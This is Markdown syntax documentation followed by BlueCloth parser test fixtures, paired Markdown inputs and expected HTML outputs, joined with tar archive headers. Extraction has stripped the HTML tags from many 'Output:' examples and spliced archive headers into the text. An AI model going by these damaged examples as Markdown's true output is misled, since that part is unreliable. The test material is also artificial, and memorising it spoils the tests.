Inline HTML

Markdown's syntax is intended for one purpose: to be used as a format for writing for the web.

Markdown is not a replacement for HTML, or even close to it. Its syntax is very small, corresponding only to a very small subset of HTML tags. The idea is not to create a syntax that makes it easier to insert HTML tags. In my opinion, HTML tags are already easy to insert. The idea for Markdown is to make it easy to read, write, and edit prose. HTML is a publishing format; Markdown is a writing format. Thus, Markdown's formatting syntax only addresses issues that can be conveyed in plain text.

For any markup that is not covered by Markdown's syntax, you simply use HTML itself. There's no need to preface it or delimit it to indicate that you're switching from Markdown to HTML; you just use the tags.

The only restrictions are that block-level HTML elements -- e.g. <div>, <table>, <pre>, <p>, etc. -- must be separated from surrounding content by blank lines, and the start and end tags of the block should not be indented with tabs or spaces. Markdown is smart enough not to add extra (unwanted) <p> tags around HTML block-level tags.

For example, to add an HTML table to a Markdown article:

This is a regular paragraph.

<table>
    <tr>
        <td>Foo</td>
    </tr>
</table>

This is another regular paragraph.

Note that Markdown formatting syntax is not processed within block-level HTML tags. E.g., you can't use Markdown-style *emphasis* inside an HTML block.

Span-level HTML tags -- e.g. <span>, <cite>, or <del> -- can be used anywhere in a Markdown paragraph, list item, or header. If you want, you can even use HTML tags instead of Markdown formatting; e.g. if you'd prefer to use HTML <a> or <img> tags instead of Markdown's link or image syntax, go right ahead.

Unlike block-level HTML tags, Markdown syntax is processed within span-level tags.

Automatic Escaping for Special Characters

In HTML, there are two characters that demand special treatment: < and &. Left angle brackets are used to start tags; ampersands are used to denote HTML entities. If you want to use them as literal characters, you must escape them as entities, e.g. &lt;, and &amp;.

Ampersands in particular are bedeviling for web writers. If you want to write about 'AT&T', you need to write 'AT&amp;T'. You even need to escape ampersands within URLs. Thus, if you want to link to:

http://images.google.com/images?num=30&q=larry+bird

you need to encode the URL as:

http://images.google.com/images?num=30&amp;q=larry+bird

in your anchor tag href attribute. Needless to say, this is easy to forget, and is probably the single most common source of HTML validation errors in otherwise well-marked-up web sites.

Markdown allows you to use these characters naturally, taking care of all the necessary escaping for you. If you use an ampersand as part of an HTML entity, it remains unchanged; otherwise it will be translated into &amp;.

So, if you want to include a copyright symbol in your article, you can write:

&copy;

and Markdown will leave it alone. But if you write:

AT&T

Markdown will translate it to:

AT&amp;T

Similarly, because Markdown supports inline HTML, if you use angle brackets as delimiters for HTML tags, Markdown will treat them as such. But if you write:

4 < 5

Markdown will translate it to:

4 &lt; 5

However, inside Markdown code spans and blocks, angle brackets and ampersands are always encoded automatically. This makes it easy to use Markdown to write about HTML code. (As opposed to raw HTML, which is a terrible format for writing about HTML syntax, because every single < and & in your example code needs to be escaped.)


Block Elements

Paragraphs and Line Breaks

A paragraph is simply one or more consecutive lines of text, separated by one or more blank lines. (A blank line is any line that looks like a blank line -- a line containing nothing but spaces or tabs is considered blank.) Normal paragraphs should not be intended with spaces or tabs.

The implication of the "one or more consecutive lines of text" rule is that Markdown supports "hard-wrapped" text paragraphs. This differs significantly from most other text-to-HTML formatters (including Movable Type's "Convert Line Breaks" option) which translate every line break character in a paragraph into a <br /> tag.

When you do want to insert a <br /> break tag using Markdown, you end a line with two or more spaces, then type return.

Yes, this takes a tad more effort to create a <br />, but a simplistic "every line break is a <br />" rule wouldn't work for Markdown. Markdown's email-style blockquoting and multi-paragraph list items work best -- and look better -- when you format them with hard breaks.

Markdown supports two styles of headers, Setext and atx.

Setext-style headers are "underlined" using equal signs (for first-level headers) and dashes (for second-level headers). For example:

This is an H1
=============

This is an H2
-------------

Any number of underlining ='s or -'s will work.

Atx-style headers use 1-6 hash characters at the start of the line, corresponding to header levels 1-6. For example:

# This is an H1

## This is an H2

###### This is an H6

Optionally, you may "close" atx-style headers. This is purely cosmetic -- you can use this if you think it looks better. The closing hashes don't even need to match the number of hashes used to open the header. (The number of opening hashes determines the header level.) :

# This is an H1 #

## This is an H2 ##

### This is an H3 ######

Blockquotes

Markdown uses email-style > characters for blockquoting. If you're familiar with quoting passages of text in an email message, then you know how to create a blockquote in Markdown. It looks best if you hard wrap the text and put a > before every line:

> This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
> consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
> Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
> 
> Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
> id sem consectetuer libero luctus adipiscing.

Markdown allows you to be lazy and only put the > before the first line of a hard-wrapped paragraph:

> This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.

> Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
id sem consectetuer libero luctus adipiscing.

Blockquotes can be nested (i.e. a blockquote-in-a-blockquote) by adding additional levels of >:

> This is the first level of quoting.
>
> > This is nested blockquote.
>
> Back to the first level.

Blockquotes can contain other Markdown elements, including headers, lists, and code blocks:

> ## This is a header.
> 
> 1.   This is the first list item.
> 2.   This is the second list item.
> 
> Here's some example code:
> 
>     return shell_exec("echo $input | $markdown_script");

Any decent text editor should make email-style quoting easy. For example, with BBEdit, you can make a selection and choose Increase Quote Level from the Text menu.

Lists

Markdown supports ordered (numbered) and unordered (bulleted) lists.

Unordered lists use asterisks, pluses, and hyphens -- interchangably -- as list markers:

*   Red
*   Green
*   Blue

is equivalent to:

+   Red
+   Green
+   Blue

and:

-   Red
-   Green
-   Blue

Ordered lists use numbers followed by periods:

1.  Bird
2.  McHale
3.  Parish

It's important to note that the actual numbers you use to mark the list have no effect on the HTML output Markdown produces. The HTML Markdown produces from the above list is:

<ol>
<li>Bird</li>
<li>McHale</li>
<li>Parish</li>
</ol>

If you instead wrote the list in Markdown like this:

1.  Bird
1.  McHale
1.  Parish

or even:

3. Bird
1. McHale
8. Parish

you'd get the exact same HTML output. The point is, if you want to, you can use ordinal numbers in your ordered Markdown lists, so that the numbers in your source match the numbers in your published HTML. But if you want to be lazy, you don't have to.

If you do use lazy list numbering, however, you should still start the list with the number 1. At some point in the future, Markdown may support starting ordered lists at an arbitrary number.

List markers typically start at the left margin, but may be indented by up to three spaces. List markers must be followed by one or more spaces or a tab.

To make lists look nice, you can wrap items with hanging indents:

*   Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
    Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
    viverra nec, fringilla in, laoreet vitae, risus.
*   Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
    Suspendisse id sem consectetuer libero luctus adipiscing.

But if you want to be lazy, you don't have to:

*   Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
viverra nec, fringilla in, laoreet vitae, risus.
*   Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
Suspendisse id sem consectetuer libero luctus adipiscing.

If list items are separated by blank lines, Markdown will wrap the items in <p> tags in the HTML output. For example, this input:

*   Bird
*   Magic

will turn into:

<ul>
<li>Bird</li>
<li>Magic</li>
</ul>

But this:

*   Bird

*   Magic

will turn into:

<ul>
<li><p>Bird</p></li>
<li><p>Magic</p></li>
</ul>

List items may consist of multiple paragraphs. Each subsequent paragraph in a list item must be intended by either 4 spaces or one tab:

1.  This is a list item with two paragraphs. Lorem ipsum dolor
    sit amet, consectetuer adipiscing elit. Aliquam hendrerit
    mi posuere lectus.

    Vestibulum enim wisi, viverra nec, fringilla in, laoreet
    vitae, risus. Donec sit amet nisl. Aliquam semper ipsum
    sit amet velit.

2.  Suspendisse id sem consectetuer libero luctus adipiscing.

It looks nice if you indent every line of the subsequent paragraphs, but here again, Markdown will allow you to be lazy:

*   This is a list item with two paragraphs.

    This is the second paragraph in the list item. You're
only required to indent the first line. Lorem ipsum dolor
sit amet, consectetuer adipiscing elit.

*   Another item in the same list.

To put a blockquote within a list item, the blockquote's > delimiters need to be indented:

*   A list item with a blockquote:

    > This is a blockquote
    > inside a list item.

To put a code block within a list item, the code block needs to be indented twice -- 8 spaces or two tabs:

*   A list item with a code block:

        <code goes here>

It's worth noting that it's possible to trigger an ordered list by accident, by writing something like this:

1986. What a great season.

In other words, a number-period-space sequence at the beginning of a line. To avoid this, you can backslash-escape the period:

1986\. What a great season.

Code Blocks

Pre-formatted code blocks are used for writing about programming or markup source code. Rather than forming normal paragraphs, the lines of a code block are interpreted literally. Markdown wraps a code block in both <pre> and <code> tags.

To produce a code block in Markdown, simply indent every line of the block by at least 4 spaces or 1 tab. For example, given this input:

This is a normal paragraph:

    This is a code block.

Markdown will generate:

<p>This is a normal paragraph:</p>

<pre><code>This is a code block.
</code></pre>

One level of indentation -- 4 spaces or 1 tab -- is removed from each line of the code block. For example, this:

Here is an example of AppleScript:

    tell application "Foo"
        beep
    end tell

will turn into:

<p>Here is an example of AppleScript:</p>

<pre><code>tell application "Foo"
    beep
end tell
</code></pre>

A code block continues until it reaches a line that is not indented (or the end of the article).

Within a code block, ampersands (&) and angle brackets (< and >) are automatically converted into HTML entities. This makes it very easy to include example HTML source code using Markdown -- just paste it and indent it, and Markdown will handle the hassle of encoding the ampersands and angle brackets. For example, this:

    <div class="footer">
        &copy; 2004 Foo Corporation
    </div>

will turn into:

<pre><code>&lt;div class="footer"&gt;
    &amp;copy; 2004 Foo Corporation
&lt;/div&gt;
</code></pre>

Regular Markdown syntax is not processed within code blocks. E.g., asterisks are just literal asterisks within a code block. This means it's also easy to use Markdown to write about Markdown's own syntax.

Horizontal Rules

You can produce a horizontal rule tag (<hr />) by placing three or more hyphens, asterisks, or underscores on a line by themselves. If you wish, you may use spaces between the hyphens or asterisks. Each of the following lines will produce a horizontal rule:

* * *

***

*****

- - -

---------------------------------------

_ _ _

Span Elements

Markdown supports two style of links: inline and reference.

In both styles, the link text is delimited by [square brackets].

To create an inline link, use a set of regular parentheses immediately after the link text's closing square bracket. Inside the parentheses, put the URL where you want the link to point, along with an optional title for the link, surrounded in quotes. For example:

This is [an example](http://example.com/ "Title") inline link.

[This link](http://example.net/) has no title attribute.

Will produce:

<p>This is <a href="http://example.com/" title="Title">
an example</a> inline link.</p>

<p><a href="http://example.net/">This link</a> has no
title attribute.</p>

If you're referring to a local resource on the same server, you can use relative paths:

See my [About](/about/) page for details.

Reference-style links use a second set of square brackets, inside which you place a label of your choosing to identify the link:

This is [an example][id] reference-style link.

You can optionally use a space to separate the sets of brackets:

This is [an example] [id] reference-style link.

Then, anywhere in the document, you define your link label like this, on a line by itself:

[id]: http://example.com/  "Optional Title Here"

That is:

  • Square brackets containing the link identifier (optionally indented from the left margin using up to three spaces);
  • followed by a colon;
  • followed by one or more spaces (or tabs);
  • followed by the URL for the link;
  • optionally followed by a title attribute for the link, enclosed in double or single quotes.

The link URL may, optionally, be surrounded by angle brackets:

[id]: <http://example.com/>  "Optional Title Here"

You can put the title attribute on the next line and use extra spaces or tabs for padding, which tends to look better with longer URLs:

[id]: http://example.com/longish/path/to/resource/here
    "Optional Title Here"

Link definitions are only used for creating links during Markdown processing, and are stripped from your document in the HTML output.

Link definition names may constist of letters, numbers, spaces, and punctuation -- but they are not case sensitive. E.g. these two links:

[link text][a]
[link text][A]

are equivalent.

The implicit link name shortcut allows you to omit the name of the link, in which case the link text itself is used as the name. Just use an empty set of square brackets -- e.g., to link the word "Google" to the google.com web site, you could simply write:

[Google][]

And then define the link:

[Google]: http://google.com/

Because link names may contain spaces, this shortcut even works for multiple words in the link text:

Visit [Daring Fireball][] for more information.

And then define the link:

[Daring Fireball]: http://daringfireball.net/

Link definitions can be placed anywhere in your Markdown document. I tend to put them immediately after each paragraph in which they're used, but if you want, you can put them all at the end of your document, sort of like footnotes.

Here's an example of reference links in action:

I get 10 times more traffic from [Google] [1] than from
[Yahoo] [2] or [MSN] [3].

  [1]: http://google.com/        "Google"
  [2]: http://search.yahoo.com/  "Yahoo Search"
  [3]: http://search.msn.com/    "MSN Search"

Using the implicit link name shortcut, you could instead write:

I get 10 times more traffic from [Google][] than from
[Yahoo][] or [MSN][].

  [google]: http://google.com/        "Google"
  [yahoo]:  http://search.yahoo.com/  "Yahoo Search"
  [msn]:    http://search.msn.com/    "MSN Search"

Both of the above examples will produce the following HTML output:

<p>I get 10 times more traffic from <a href="http://google.com/"
title="Google">Google</a> than from
<a href="http://search.yahoo.com/" title="Yahoo Search">Yahoo</a>
or <a href="http://search.msn.com/" title="MSN Search">MSN</a>.</p>

For comparison, here is the same paragraph written using Markdown's inline link style:

I get 10 times more traffic from [Google](http://google.com/ "Google")
than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or
[MSN](http://search.msn.com/ "MSN Search").

The point of reference-style links is not that they're easier to write. The point is that with reference-style links, your document source is vastly more readable. Compare the above examples: using reference-style links, the paragraph itself is only 81 characters long; with inline-style links, it's 176 characters; and as raw HTML, it's 234 characters. In the raw HTML, there's more markup than there is text.

With Markdown's reference-style links, a source document much more closely resembles the final output, as rendered in a browser. By allowing you to move the markup-related metadata out of the paragraph, you can add links without interrupting the narrative flow of your prose.

Emphasis

Markdown treats asterisks (*) and underscores (_) as indicators of emphasis. Text wrapped with one * or _ will be wrapped with an HTML <em> tag; double *'s or _'s will be wrapped with an HTML <strong> tag. E.g., this input:

*single asterisks*

_single underscores_

**double asterisks**

__double underscores__

will produce:

<em>single asterisks</em>

<em>single underscores</em>

<strong>double asterisks</strong>

<strong>double underscores</strong>

You can use whichever style you prefer; the lone restriction is that the same character must be used to open and close an emphasis span.

Emphasis can be used in the middle of a word:

un*fucking*believable

But if you surround an * or _ with spaces, it'll be treated as a literal asterisk or underscore.

To produce a literal asterisk or underscore at a position where it would otherwise be used as an emphasis delimiter, you can backslash escape it:

\*this text is surrounded by literal asterisks\*

Code

To indicate a span of code, wrap it with backtick quotes (`). Unlike a pre-formatted code block, a code span indicates code within a normal paragraph. For example:

Use the `printf()` function.

will produce:

<p>Use the <code>printf()</code> function.</p>

To include a literal backtick character within a code span, you can use multiple backticks as the opening and closing delimiters:

``There is a literal backtick (`) here.``

which will produce this:

<p><code>There is a literal backtick (`) here.</code></p>

The backtick delimiters surrounding a code span may include spaces -- one after the opening, one before the closing. This allows you to place literal backtick characters at the beginning or end of a code span:

A single backtick in a code span: `` ` ``

A backtick-delimited string in a code span: `` `foo` ``

will produce:

<p>A single backtick in a code span: <code>`</code></p>

<p>A backtick-delimited string in a code span: <code>`foo`</code></p>

With a code span, ampersands and angle brackets are encoded as HTML entities automatically, which makes it easy to include example HTML tags. Markdown will turn this:

Please don't use any `<blink>` tags.

into:

<p>Please don't use any <code>&lt;blink&gt;</code> tags.</p>

You can write this:

`&#8212;` is the decimal-encoded equivalent of `&mdash;`.

to produce:

<p><code>&amp;#8212;</code> is the decimal-encoded
equivalent of <code>&amp;mdash;</code>.</p>

Images

Admittedly, it's fairly difficult to devise a "natural" syntax for placing images into a plain text document format.

Markdown uses an image syntax that is intended to resemble the syntax for links, allowing for two styles: inline and reference.

Inline image syntax looks like this:

![Alt text](/path/to/img.jpg)

![Alt text](/path/to/img.jpg "Optional title")

That is:

  • An exclamation mark: !;
  • followed by a set of square brackets, containing the alt attribute text for the image;
  • followed by a set of parentheses, containing the URL or path to the image, and an optional title attribute enclosed in double or single quotes.

Reference-style image syntax looks like this:

![Alt text][id]

Where "id" is the name of a defined image reference. Image references are defined using syntax identical to link references:

[id]: url/to/image  "Optional title attribute"

As of this writing, Markdown has no syntax for specifying the dimensions of an image; if this is important to you, you can simply use regular HTML <img> tags.


Miscellaneous

Markdown supports a shortcut style for creating "automatic" links for URLs and email addresses: simply surround the URL or email address with angle brackets. What this means is that if you want to show the actual text of a URL or email address, and also have it be a clickable link, you can do this:

<http://example.com/>

Markdown will turn this into:

<a href="http://example.com/">http://example.com/</a>

Automatic links for email addresses work similarly, except that Markdown will also perform a bit of randomized decimal and hex entity-encoding to help obscure your address from address-harvesting spambots. For example, Markdown will turn this:

<address@example.com>

into something like this:

<a href="&#x6D;&#x61;i&#x6C;&#x74;&#x6F;:&#x61;&#x64;&#x64;&#x72;&#x65;
&#115;&#115;&#64;&#101;&#120;&#x61;&#109;&#x70;&#x6C;e&#x2E;&#99;&#111;
&#109;">&#x61;&#x64;&#x64;&#x72;&#x65;&#115;&#115;&#64;&#101;&#120;&#x61;
&#109;&#x70;&#x6C;e&#x2E;&#99;&#111;&#109;</a>

which will render in a browser as a clickable link to "address@example.com".

(This sort of entity-encoding trick will indeed fool many, if not most, address-harvesting bots, but it definitely won't fool all of them. It's better than nothing, but an address published in this way will probably eventually start receiving spam.)

Backslash Escapes

Markdown allows you to use backslash escapes to generate literal characters which would otherwise have special meaning in Markdown's formatting syntax. For example, if you wanted to surround a word with literal asterisks (instead of an HTML <em> tag), you can backslashes before the asterisks, like this:

\*literal asterisks\*

Markdown provides backslash escapes for the following characters:

\   backslash
`   backtick
*   asterisk
_   underscore
{}  curly braces
[]  square brackets
()  parentheses
#   hash mark
+   plus sign
-   minus sign (hyphen)
.   dot
!   exclamation mark
bluecloth-2.2.0/spec/data/markdowntest/Markdown Documentation - Basics.text0000644000175000017500000001760011665167136026243 0ustar boutilboutilMarkdown: Basics ================ Getting the Gist of Markdown's Formatting Syntax ------------------------------------------------ This page offers a brief overview of what it's like to use Markdown. The [syntax page] [s] provides complete, detailed documentation for every feature, but Markdown should be very easy to pick up simply by looking at a few examples of it in action. The examples on this page are written in a before/after style, showing example syntax and the HTML output produced by Markdown. It's also helpful to simply try Markdown out; the [Dingus] [d] is a web application that allows you type your own Markdown-formatted text and translate it to XHTML. **Note:** This document is itself written using Markdown; you can [see the source for it by adding '.text' to the URL] [src]. [s]: /projects/markdown/syntax "Markdown Syntax" [d]: /projects/markdown/dingus "Markdown Dingus" [src]: /projects/markdown/basics.text ## Paragraphs, Headers, Blockquotes ## A paragraph is simply one or more consecutive lines of text, separated by one or more blank lines. (A blank line is any line that looks like a blank line -- a line containing nothing spaces or tabs is considered blank.) Normal paragraphs should not be intended with spaces or tabs. Markdown offers two styles of headers: *Setext* and *atx*. Setext-style headers for `

` and `

` are created by "underlining" with equal signs (`=`) and hyphens (`-`), respectively. To create an atx-style header, you put 1-6 hash marks (`#`) at the beginning of the line -- the number of hashes equals the resulting HTML header level. Blockquotes are indicated using email-style '`>`' angle brackets. Markdown: A First Level Header ==================== A Second Level Header --------------------- Now is the time for all good men to come to the aid of their country. This is just a regular paragraph. The quick brown fox jumped over the lazy dog's back. ### Header 3 > This is a blockquote. > > This is the second paragraph in the blockquote. > > ## This is an H2 in a blockquote Output:

A First Level Header

A Second Level Header

Now is the time for all good men to come to the aid of their country. This is just a regular paragraph.

The quick brown fox jumped over the lazy dog's back.

Header 3

This is a blockquote.

This is the second paragraph in the blockquote.

This is an H2 in a blockquote

### Phrase Emphasis ### Markdown uses asterisks and underscores to indicate spans of emphasis. Markdown: Some of these words *are emphasized*. Some of these words _are emphasized also_. Use two asterisks for **strong emphasis**. Or, if you prefer, __use two underscores instead__. Output:

Some of these words are emphasized. Some of these words are emphasized also.

Use two asterisks for strong emphasis. Or, if you prefer, use two underscores instead.

## Lists ## Unordered (bulleted) lists use asterisks, pluses, and hyphens (`*`, `+`, and `-`) as list markers. These three markers are interchangable; this: * Candy. * Gum. * Booze. this: + Candy. + Gum. + Booze. and this: - Candy. - Gum. - Booze. all produce the same output:
  • Candy.
  • Gum.
  • Booze.
Ordered (numbered) lists use regular numbers, followed by periods, as list markers: 1. Red 2. Green 3. Blue Output:
  1. Red
  2. Green
  3. Blue
If you put blank lines between items, you'll get `

` tags for the list item text. You can create multi-paragraph list items by indenting the paragraphs by 4 spaces or 1 tab: * A list item. With multiple paragraphs. * Another item in the list. Output:

  • A list item.

    With multiple paragraphs.

  • Another item in the list.

### Links ### Markdown supports two styles for creating links: *inline* and *reference*. With both styles, you use square brackets to delimit the text you want to turn into a link. Inline-style links use parentheses immediately after the link text. For example: This is an [example link](http://example.com/). Output:

This is an example link.

Optionally, you may include a title attribute in the parentheses: This is an [example link](http://example.com/ "With a Title"). Output:

This is an example link.

Reference-style links allow you to refer to your links by names, which you define elsewhere in your document: I get 10 times more traffic from [Google][1] than from [Yahoo][2] or [MSN][3]. [1]: http://google.com/ "Google" [2]: http://search.yahoo.com/ "Yahoo Search" [3]: http://search.msn.com/ "MSN Search" Output:

I get 10 times more traffic from Google than from Yahoo or MSN.

The title attribute is optional. Link names may contain letters, numbers and spaces, but are *not* case sensitive: I start my morning with a cup of coffee and [The New York Times][NY Times]. [ny times]: http://www.nytimes.com/ Output:

I start my morning with a cup of coffee and The New York Times.

### Images ### Image syntax is very much like link syntax. Inline (titles are optional): ![alt text](/path/to/img.jpg "Title") Reference-style: ![alt text][id] [id]: /path/to/img.jpg "Title" Both of the above examples produce the same output: alt text ### Code ### In a regular paragraph, you can create code span by wrapping text in backtick quotes. Any ampersands (`&`) and angle brackets (`<` or `>`) will automatically be translated into HTML entities. This makes it easy to use Markdown to write about HTML example code: I strongly recommend against using any `` tags. I wish SmartyPants used named entities like `—` instead of decimal-encoded entites like `—`. Output:

I strongly recommend against using any <blink> tags.

I wish SmartyPants used named entities like &mdash; instead of decimal-encoded entites like &#8212;.

To specify an entire block of pre-formatted code, indent every line of the block by 4 spaces or 1 tab. Just like with code spans, `&`, `<`, and `>` characters will be escaped automatically. Markdown: If you want your page to validate under XHTML 1.0 Strict, you've got to put paragraph tags in your blockquotes:

For example.

Output:

If you want your page to validate under XHTML 1.0 Strict, you've got to put paragraph tags in your blockquotes:

<blockquote>
        <p>For example.</p>
    </blockquote>
    
bluecloth-2.2.0/spec/data/markdowntest/Markdown Documentation - Basics.html0000644000175000017500000002225011665167136026220 0ustar boutilboutil

Markdown: Basics

Getting the Gist of Markdown's Formatting Syntax

This page offers a brief overview of what it's like to use Markdown. The syntax page provides complete, detailed documentation for every feature, but Markdown should be very easy to pick up simply by looking at a few examples of it in action. The examples on this page are written in a before/after style, showing example syntax and the HTML output produced by Markdown.

It's also helpful to simply try Markdown out; the Dingus is a web application that allows you type your own Markdown-formatted text and translate it to XHTML.

Note: This document is itself written using Markdown; you can see the source for it by adding '.text' to the URL.

Paragraphs, Headers, Blockquotes

A paragraph is simply one or more consecutive lines of text, separated by one or more blank lines. (A blank line is any line that looks like a blank line -- a line containing nothing spaces or tabs is considered blank.) Normal paragraphs should not be intended with spaces or tabs.

Markdown offers two styles of headers: Setext and atx. Setext-style headers for <h1> and <h2> are created by "underlining" with equal signs (=) and hyphens (-), respectively. To create an atx-style header, you put 1-6 hash marks (#) at the beginning of the line -- the number of hashes equals the resulting HTML header level.

Blockquotes are indicated using email-style '>' angle brackets.

Markdown:

A First Level Header
====================

A Second Level Header
---------------------

Now is the time for all good men to come to
the aid of their country. This is just a
regular paragraph.

The quick brown fox jumped over the lazy
dog's back.

### Header 3

> This is a blockquote.
> 
> This is the second paragraph in the blockquote.
>
> ## This is an H2 in a blockquote

Output:

<h1>A First Level Header</h1>

<h2>A Second Level Header</h2>

<p>Now is the time for all good men to come to
the aid of their country. This is just a
regular paragraph.</p>

<p>The quick brown fox jumped over the lazy
dog's back.</p>

<h3>Header 3</h3>

<blockquote>
    <p>This is a blockquote.</p>

    <p>This is the second paragraph in the blockquote.</p>

    <h2>This is an H2 in a blockquote</h2>
</blockquote>

Phrase Emphasis

Markdown uses asterisks and underscores to indicate spans of emphasis.

Markdown:

Some of these words *are emphasized*.
Some of these words _are emphasized also_.

Use two asterisks for **strong emphasis**.
Or, if you prefer, __use two underscores instead__.

Output:

<p>Some of these words <em>are emphasized</em>.
Some of these words <em>are emphasized also</em>.</p>

<p>Use two asterisks for <strong>strong emphasis</strong>.
Or, if you prefer, <strong>use two underscores instead</strong>.</p>

Lists

Unordered (bulleted) lists use asterisks, pluses, and hyphens (*, +, and -) as list markers. These three markers are interchangable; this:

*   Candy.
*   Gum.
*   Booze.

this:

+   Candy.
+   Gum.
+   Booze.

and this:

-   Candy.
-   Gum.
-   Booze.

all produce the same output:

<ul>
<li>Candy.</li>
<li>Gum.</li>
<li>Booze.</li>
</ul>

Ordered (numbered) lists use regular numbers, followed by periods, as list markers:

1.  Red
2.  Green
3.  Blue

Output:

<ol>
<li>Red</li>
<li>Green</li>
<li>Blue</li>
</ol>

If you put blank lines between items, you'll get <p> tags for the list item text. You can create multi-paragraph list items by indenting the paragraphs by 4 spaces or 1 tab:

*   A list item.

    With multiple paragraphs.

*   Another item in the list.

Output:

<ul>
<li><p>A list item.</p>
<p>With multiple paragraphs.</p></li>
<li><p>Another item in the list.</p></li>
</ul>

Links

Markdown supports two styles for creating links: inline and reference. With both styles, you use square brackets to delimit the text you want to turn into a link.

Inline-style links use parentheses immediately after the link text. For example:

This is an [example link](http://example.com/).

Output:

<p>This is an <a href="http://example.com/">
example link</a>.</p>

Optionally, you may include a title attribute in the parentheses:

This is an [example link](http://example.com/ "With a Title").

Output:

<p>This is an <a href="http://example.com/" title="With a Title">
example link</a>.</p>

Reference-style links allow you to refer to your links by names, which you define elsewhere in your document:

I get 10 times more traffic from [Google][1] than from
[Yahoo][2] or [MSN][3].

[1]: http://google.com/        "Google"
[2]: http://search.yahoo.com/  "Yahoo Search"
[3]: http://search.msn.com/    "MSN Search"

Output:

<p>I get 10 times more traffic from <a href="http://google.com/"
title="Google">Google</a> than from <a href="http://search.yahoo.com/"
title="Yahoo Search">Yahoo</a> or <a href="http://search.msn.com/"
title="MSN Search">MSN</a>.</p>

The title attribute is optional. Link names may contain letters, numbers and spaces, but are not case sensitive:

I start my morning with a cup of coffee and
[The New York Times][NY Times].

[ny times]: http://www.nytimes.com/

Output:

<p>I start my morning with a cup of coffee and
<a href="http://www.nytimes.com/">The New York Times</a>.</p>

Images

Image syntax is very much like link syntax.

Inline (titles are optional):

![alt text](/path/to/img.jpg "Title")

Reference-style:

![alt text][id]

[id]: /path/to/img.jpg "Title"

Both of the above examples produce the same output:

<img src="/path/to/img.jpg" alt="alt text" title="Title" />

Code

In a regular paragraph, you can create code span by wrapping text in backtick quotes. Any ampersands (&) and angle brackets (< or >) will automatically be translated into HTML entities. This makes it easy to use Markdown to write about HTML example code:

I strongly recommend against using any `<blink>` tags.

I wish SmartyPants used named entities like `&mdash;`
instead of decimal-encoded entites like `&#8212;`.

Output:

<p>I strongly recommend against using any
<code>&lt;blink&gt;</code> tags.</p>

<p>I wish SmartyPants used named entities like
<code>&amp;mdash;</code> instead of decimal-encoded
entites like <code>&amp;#8212;</code>.</p>

To specify an entire block of pre-formatted code, indent every line of the block by 4 spaces or 1 tab. Just like with code spans, &, <, and > characters will be escaped automatically.

Markdown:

If you want your page to validate under XHTML 1.0 Strict,
you've got to put paragraph tags in your blockquotes:

    <blockquote>
        <p>For example.</p>
    </blockquote>

Output:

<p>If you want your page to validate under XHTML 1.0 Strict,
you've got to put paragraph tags in your blockquotes:</p>

<pre><code>&lt;blockquote&gt;
    &lt;p&gt;For example.&lt;/p&gt;
&lt;/blockquote&gt;
</code></pre>
bluecloth-2.2.0/spec/data/markdowntest/Literal quotes in titles.text0000644000175000017500000000015411665167136025132 0ustar boutilboutilFoo [bar][]. Foo [bar](/url/ "Title with "quotes" inside"). [bar]: /url/ "Title with "quotes" inside" bluecloth-2.2.0/spec/data/markdowntest/Literal quotes in titles.html0000644000175000017500000000024311665167136025111 0ustar boutilboutil

Foo bar.

Foo bar.

bluecloth-2.2.0/spec/data/markdowntest/Links, shortcut references.text0000755000175000017500000000035411665167136025460 0ustar boutilboutilThis is the [simple case]. [simple case]: /simple This one has a [line break]. This one has a [line break] with a line-ending space. [line break]: /foo [this] [that] and the [other] [this]: /this [that]: /that [other]: /other bluecloth-2.2.0/spec/data/markdowntest/Links, shortcut references.html0000755000175000017500000000040011665167136025430 0ustar boutilboutil

This is the simple case.

This one has a line break.

This one has a line break with a line-ending space.

this and the other

bluecloth-2.2.0/spec/data/markdowntest/Links, reference style.text0000644000175000017500000000142711665167136024561 0ustar boutilboutilFoo [bar] [1]. Foo [bar][1]. Foo [bar] [1]. [1]: /url/ "Title" With [embedded [brackets]] [b]. Indented [once][]. Indented [twice][]. Indented [thrice][]. Indented [four][] times. [once]: /url [twice]: /url [thrice]: /url [four]: /url [b]: /url/ * * * [this] [this] should work So should [this][this]. And [this] []. And [this][]. And [this]. But not [that] []. Nor [that][]. Nor [that]. [Something in brackets like [this][] should work] [Same with [this].] In this case, [this](/somethingelse/) points to something else. Backslashing should suppress \[this] and [this\]. [this]: foo * * * Here's one where the [link breaks] across lines. Here's another where the [link breaks] across lines, but with a line-ending space. [link breaks]: /url/ bluecloth-2.2.0/spec/data/markdowntest/Links, reference style.html0000644000175000017500000000214511665167136024537 0ustar boutilboutil

Foo bar.

Foo bar.

Foo bar.

With embedded [brackets].

Indented once.

Indented twice.

Indented thrice.

Indented [four][] times.

[four]: /url

this should work

So should this.

And this.

And this.

And this.

But not [that] [].

Nor [that][].

Nor [that].

[Something in brackets like this should work]

[Same with this.]

In this case, this points to something else.

Backslashing should suppress [this] and [this].


Here's one where the link breaks across lines.

Here's another where the link breaks across lines, but with a line-ending space.

bluecloth-2.2.0/spec/data/markdowntest/Links, inline style.text0000644000175000017500000000034711665167136024101 0ustar boutilboutilJust a [URL](/url/). [URL and title](/url/ "title"). [URL and title](/url/ "title preceded by two spaces"). [URL and title](/url/ "title preceded by a tab"). [URL and title](/url/ "title has spaces afterward" ). [Empty](). bluecloth-2.2.0/spec/data/markdowntest/Links, inline style.html0000644000175000017500000000054711665167136024063 0ustar boutilboutil

Just a URL.

URL and title.

URL and title.

URL and title.

URL and title.

Empty.

